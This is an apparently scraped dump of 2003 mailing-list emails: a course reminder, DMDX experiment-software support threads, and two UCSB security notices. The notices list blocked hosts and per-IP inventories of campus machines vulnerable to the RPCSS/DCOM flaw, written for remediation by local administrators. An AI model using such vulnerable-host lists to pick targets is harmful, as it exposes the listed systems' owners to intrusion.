Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Mon, 08 Dec 2003 18:16:36 -0600",reminder," CS352h-ers, This is a reminder that you need to submit *all* of the .v and .h files needed to run your processors....EVEN IF YOU DID NOT MODIFY THE ORIGINALS! I'm writing scripts to automatically run your code, so it must be complete. Please make sure that you also have an lc35.f file, listing all of your that are required to run your code. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 """Helman, Shaun"" ","""'DMDX@psy1.psych.arizona.edu'"" ","Tue, 09 Dec 2003 08:48:25 -0000",[DMDX] dmdx xp,"No it doesn't respond to anything. It just sits there and does nothing with a black screen. Only a power-down gets out. ",0,0 Alex ,DMDX@psy1.psych.arizona.edu,"Tue, 09 Dec 2003 11:02:55 -0200",[DMDX] RES: dmdx xp,"Have you done all the tests with Time DX? __________________________________________________________________ Alex Rosa * atfrosa@terra.com.br ZZ2TRF S 23°34'45.8'' W 046°33'56.6'' __________________________________________________________________ -----Mensagem original----- De: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]Em nome de Helman, Shaun Enviada em: terça-feira, 9 de dezembro de 2003 06:48 Para: 'DMDX@psy1.psych.arizona.edu' Assunto: [DMDX] dmdx xp No it doesn't respond to anything. It just sits there and does nothing with a black screen. Only a power-down gets out. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """Helman, Shaun"" ","""'DMDX@psy1.psych.arizona.edu'"" ","Tue, 09 Dec 2003 13:59:15 -0000",[DMDX] DMDX xp,"It may not be to do with XP - I also have a windows 2000 machine that it is doing the same on. I have timed the video mode I am using in TimeDX. I suspect it is something to do with machines rather than the program as I have installed it on 3 other machines today (one Sony laptop using windows XP!) and it works fine. Are there any annoying features in windows I need to disable? ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 09 Dec 2003 08:51:00 -0700",[DMDX] Re: DMDX xp,"At 01:59 PM 12/9/2003 +0000, you wrote: >It may not be to do with XP - I also have a windows 2000 machine that it is >doing the same on. I have timed the video mode I am using in TimeDX. I >suspect it is something to do with machines rather than the program as I >have installed it on 3 other machines today (one Sony laptop using windows >XP!) and it works fine. Are there any annoying features in windows I need >to disable? Not that I can think of, DMDX is running on literally hundreds of XP machines and this is the first time we've come across something like this unless you've got some really nasty hardware in there. Total lock ups of XP are difficult to achieve without some underlying driver failure so check what video card you have and see if there are new drivers for it. If you've got another video card you might want to try it. If it's not that given that it's happened to several of your machines I'd be suspecting something that you've got running on the machines, an anti-virus or some such thing. Perhaps it's a configuration issue, maybe you've got a multi-monitor machine and the desktop isn't enabled on the second display. Maybe you've got some really bizarre input configuration that I never imagined was possible but to probe any further I'll have to cook up a passpoints version of DMDX and get you to email me (not the list) the resulting file that will hopefully not get splattered when you shut the machine down. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Remembering is for those who have forgotten. ",0,0 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Tue, 09 Dec 2003 10:03:23 -0600",Link," After a mild complaint - here is the link to the practice problems I mailed out yesterday. http://www.cs.utexas.edu/users/skeckler/cs352h/homework/final_exam_practice.pdf Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id OAA06274 for ; Tue, 9 Dec 2003 14:35:40 -0800 (PST) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id OAA30426 for ; Tue, 9 Dec 2003 14:35:40 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1ATqSA-0003Pr-8w; Tue, 09 Dec 2003 14:35:38 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1ATqRo-0003PL-Fr; Tue, 09 Dec 2003 14:35:16 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1ATqRl-0003PC-BY; Tue, 09 Dec 2003 14:35:13 -0800 Message-ID: <3FD64E1C.6030609@UCSB.edu> Date: Tue, 09 Dec 2003 14:35:08 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.5) Gecko/20031027 Thunderbird/0.3 X-Accept-Language: en-us, en MIME-Version: 1.0 To: security-microsoft@ucsb.edu, csf@ucsb.edu Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, You can find a ""blocked hosts"" list as well as a ""unpatched hosts"" lists further down in this message. Here is what you need to do if your host is in the ""blocked hosts"" list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Blocked Hosts (from http://noc.ucsb.edu/~shaber/net/ngb/filtered.txt) *** 128.111.20.39 agate.wirelesstest.ucsb.edu 128.111.20.40 dhcp20-40.wirelesstest.ucsb.edu 128.111.29.26 -- 128.111.29.39 -- 128.111.33.155 SC33155.resnet.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.34.120 helix.mee.ucsb.edu 128.111.55.223 -- 128.111.57.44 starbucks.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.68.248 -- 128.111.72.47 dahlehpc-3.mee.ucsb.edu 128.111.72.143 plank.mee.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 -- 128.111.77.107 das.crss.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.92.216 -- 128.111.103.21 otter.opl.ucsb.edu 128.111.103.24 penguin.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.104.131 gdhcp131.geog.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.138.160 -- 128.111.161.6 -- 128.111.164.209 turtle.mee.ucsb.edu 128.111.180.96 SM18096.resnet.ucsb.edu 128.111.185.230 ra.ece.ucsb.edu 128.111.199.90 host199-90.lsdepts.ucsb.edu 128.111.220.127 dhcp127.nceas.ucsb.edu 128.111.221.52 dhcp17.mat.ucsb.edu 128.111.225.113 -- 128.111.229.220 -- 128.111.229.229 -- 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.7 -- 128.111.247.62 -- 128.111.247.63 -- 128.111.247.250 -- *** Unpatched hosts *** 128.111.9.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.10.74 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.111 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.31.176 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.251 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.6 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.40 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.142 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.117 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.144 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.221 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.94 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.33 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.246 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.239 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.241 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.120.25 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.166.35 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.166.106 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.166.178 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.178 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.142 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.75 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.32 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.99 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.183.110 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.229 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.137 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.202.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.80 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.91 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.88 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.106 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.179 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.67 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 45 RPCSS Vulnerable ............................. 60 DCOM Disabled ................................ 64 Not Vulnerable ............................... 3712 Errors ....................................... 9 TCP Port 135 Closed or Host Timeout .......... 61691 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 James Colby Kraybill ,linuxusers@celestial.Berkeley.EDU,"Wed, 10 Dec 2003 11:23:39 -0800",RedHat support from 3rd party," http://www.linuxplanet.com/linuxplanet/newss/5137/1/ ... Subscribers will be able to access the patches containing security updates for Red Hat Linux 7.2 and 7.3. They will be notified of the patches' availability as needed. This service does come at a monetary price. Progeny is tagging this service at US$5 per machine per month or a flat rate of US$2,500 per month for unlimited machines. ... (according to the progeny website, they'll support 8 and 9 too) - Colby --------------------------------------------------------------------- James Colby Kraybill Radio Astronomy Laboratory colby@astro.berkeley.edu University of California, Berkeley ",0,1 Jason Laberge ,DMDX@psy1.psych.arizona.edu,"Wed, 10 Dec 2003 15:16:58 -0600",[DMDX] Error: no media FILE NAME,"Hello. I am new to using DMDX and I am having problems recovering from the following error I receive when I try to run my RTF. The error I receive is ""no media FILE NAME"". The images are in the same directory as the RTF. Here is the first part of my RTF file: -901 /* ""Left_Left""/; +902 /* ""Right_Left""/; -903 /* ""Left_Right""/; +904 /* ""Right_Right""/; $ 0 ""You are now finished the practice trials."", ""When you are ready to begin BLOCK 1 press the SPACE BAR""; $ -1 /* ""Left_Left""/; +2 /* ""Right_Left""/; -3 /* ""Left_Right""/; +4 /* ""Right_Right""/; -5 /* ""Left_Left""/; ---------------------------------------------- Jason Laberge, MSc Research Fellow HumanFIRST Program, ITS Institute Department of Mechanical Engineering 111 Church Street SE Minneapolis, MN 55455 Direct: 612-624-2877 Fax: 612-624-8930 Email: jasonl@me.umn.edu. Web: www.menet.umn.edu/~jasonl",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 10 Dec 2003 17:02:09 -0700",[DMDX] Re: Error: no media FILE NAME,"You need quotes around names in DMDX: -901 /* ""Left_Left"" /; At 03:16 PM 12/10/2003 -0600, you wrote: >Hello. > > > >I am new to using DMDX and I am having problems recovering from the >following error I receive when I try to run my RTF. The error I receive is >no media FILE NAME . The images are in the same directory as the RTF. > > > >Here is the first part of my RTF file: > > > > 255255255> > > > >-901 /* Left_Left /; > > > >+902 /* Right_Left /; > > > >-903 /* Left_Right /; > > > >+904 /* Right_Right /; > > > >$ > >0 You are now finished the practice trials. , > > When you are ready to begin BLOCK 1 press the SPACE BAR ; > >$ > > > >-1 /* Left_Left /; > > > >+2 /* Right_Left /; > > > >-3 /* Left_Right /; > > > >+4 /* Right_Right /; > > > >-5 /* Left_Left /; > > > > > >---------------------------------------------- > >Jason Laberge, MSc > >Research Fellow > >HumanFIRST Program, ITS Institute > >Department of Mechanical Engineering > >111 Church Street SE > >Minneapolis, MN 55455 > >Direct: 612-624-2877 > >Fax: 612-624-8930 > >Email: jasonl@me.umn.edu. > >Web: www.menet.umn.edu/~jasonl > > /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ We can defeat gravity. The problem is the paperwork involved.",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id LAA28555 for ; Thu, 11 Dec 2003 11:42:29 -0800 (PST) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id LAA19578 for ; Thu, 11 Dec 2003 11:42:28 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1AUWhf-0003Da-AI; Thu, 11 Dec 2003 11:42:27 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1AUWha-0003DJ-1l; Thu, 11 Dec 2003 11:42:22 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1AUWhY-0003DD-3g; Thu, 11 Dec 2003 11:42:20 -0800 Message-ID: <3FD8C89A.4010207@UCSB.edu> Date: Thu, 11 Dec 2003 11:42:18 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.5) Gecko/20031027 Thunderbird/0.3 X-Accept-Language: en-us, en MIME-Version: 1.0 To: security-microsoft@ucsb.edu, csf@ucsb.edu Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked (and Vulnerable) Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, You can find a ""filtered hosts"" list as well as a ""unpatched hosts"" lists further down in this message.Here is what you need to do if your host is in the ""filtered hosts"" list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts (from http://noc.ucsb.edu/~shaber/net/ngb/filtered.txt) *** 128.111.20.39 agate.wirelesstest.ucsb.edu 128.111.20.40 dhcp20-40.wirelesstest.ucsb.edu 128.111.29.26 -- 128.111.29.39 -- 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.34.120 helix.mee.ucsb.edu 128.111.57.44 starbucks.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.68.248 -- 128.111.72.47 dahlehpc-3.mee.ucsb.edu 128.111.72.143 plank.mee.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 -- 128.111.77.107 das.crss.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.92.216 -- 128.111.103.21 otter.opl.ucsb.edu 128.111.103.24 penguin.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.104.131 gdhcp131.geog.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.138.160 -- 128.111.161.6 -- 128.111.164.209 turtle.mee.ucsb.edu 128.111.185.230 ra.ece.ucsb.edu 128.111.199.90 host199-90.lsdepts.ucsb.edu 128.111.220.127 dhcp127.nceas.ucsb.edu 128.111.221.52 dhcp17.mat.ucsb.edu 128.111.225.113 -- 128.111.229.220 -- 128.111.229.229 -- 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.7 -- 128.111.247.62 -- 128.111.247.63 -- 128.111.247.250 -- *** Unpatched hosts *** 128.111.9.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.40 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.117 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.221 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.60.83 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.94 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.239 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.241 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.106.77 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.108.156 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.75 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.32 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.99 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.183.110 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.177 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.137 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.7 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.189 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.202.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.91 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.93 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.225 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.242.63 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.67 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.253.133 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 43 RPCSS Vulnerable ............................. 42 DCOM Disabled ................................ 57 Not Vulnerable ............................... 2450 Errors ....................................... 7 TCP Port 135 Closed or Host Timeout .......... 62980 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 ContactPrecision@aol.com,DMDX@psy1.psych.arizona.edu,"Thu, 11 Dec 2003 15:14:15 -0500",[DMDX] Speed & Output,"Hi, I have 2 questions I would appreciate any help in answering. 1.) I would like to know if DMDX would be capable of displaying 2 pictures one after the other such that each lasts for exactly 1 refresh cycle and that a seperate output code be written to the PIO to indicate the duration of each picture. 2.) Can DMDX use the parallel port as an ouput device instead of the PIO card and if so how? Thanks in advance. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 11 Dec 2003 15:26:37 -0700",[DMDX] Re: Speed & Output,"At 03:14 PM 12/11/2003 -0500, you wrote: >Hi, > >I have 2 questions I would appreciate any help in answering. > >1.) I would like to know if DMDX would be capable of displaying 2 pictures >one after the other such that each lasts for exactly 1 refresh cycle and >that a seperate output code be written to the PIO to indicate the duration >of each picture. No trouble. I would use the time between the output codes to measure the retrace duration as they could easily be +/- 1.5ms. If you've got a really nice machine it will be less. >2.) Can DMDX use the parallel port as an ouput device instead of the PIO >card and if so how? No, that functionality was dropped a few years ago and under 2000 or XP it would be impossible without writing WDM drivers which I'm not about to do. Interface cards cost $90. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ We can defeat gravity. The problem is the paperwork involved. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 12 Dec 2003 10:34:24 -0700",[DMDX] Re: Speed & Output,"At 03:26 PM 12/11/2003 -0700, you wrote: Damned spell checkers: > I would NOT use the time between the output codes to measure the > retrace duration as they could easily be +/- 1.5ms. If you've got a > really nice machine it will be less. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ We can defeat gravity. The problem is the paperwork involved. ",0,0 Jason Laberge ,DMDX@psy1.psych.arizona.edu,"Fri, 12 Dec 2003 11:56:11 -0600",[DMDX] RE: Re: Error: no media FILE NAME,"I actually noticed this just after I sent this email. However, even with the quotes I am still getting the same error. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Jonathan C. Forster Sent: Wednesday, December 10, 2003 6:02 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Error: no media FILE NAME You need quotes around names in DMDX: -901 /* ""Left_Left"" /; At 03:16 PM 12/10/2003 -0600, you wrote: >Hello. > > > >I am new to using DMDX and I am having problems recovering from the >following error I receive when I try to run my RTF. The error I receive is >no media FILE NAME . The images are in the same directory as the RTF. > > > >Here is the first part of my RTF file: > > > > 255255255> > > > >-901 /* Left_Left /; > > > >+902 /* Right_Left /; > > > >-903 /* Left_Right /; > > > >+904 /* Right_Right /; > > > >$ > >0 You are now finished the practice trials. , > > When you are ready to begin BLOCK 1 press the SPACE BAR ; > >$ > > > >-1 /* Left_Left /; > > > >+2 /* Right_Left /; > > > >-3 /* Left_Right /; > > > >+4 /* Right_Right /; > > > >-5 /* Left_Left /; > > > > > >---------------------------------------------- > >Jason Laberge, MSc > >Research Fellow > >HumanFIRST Program, ITS Institute > >Department of Mechanical Engineering > >111 Church Street SE > >Minneapolis, MN 55455 > >Direct: 612-624-2877 > >Fax: 612-624-8930 > >Email: jasonl@me.umn.edu. > >Web: www.menet.umn.edu/~jasonl > > /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ We can defeat gravity. The problem is the paperwork involved. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 12 Dec 2003 16:26:15 -0700",[DMDX] RE: Re: Error: no media FILE NAME,"What can I say? That error is caused by there being no text in a frame, nothing else. Either you're using something that looks like a double quote but isn't one or you're accidentally running an old copy of your item file. If it can't find a file name that's a different error ""Cannot open file "". At 11:56 AM 12/12/2003 -0600, you wrote: >I actually noticed this just after I sent this email. However, even with 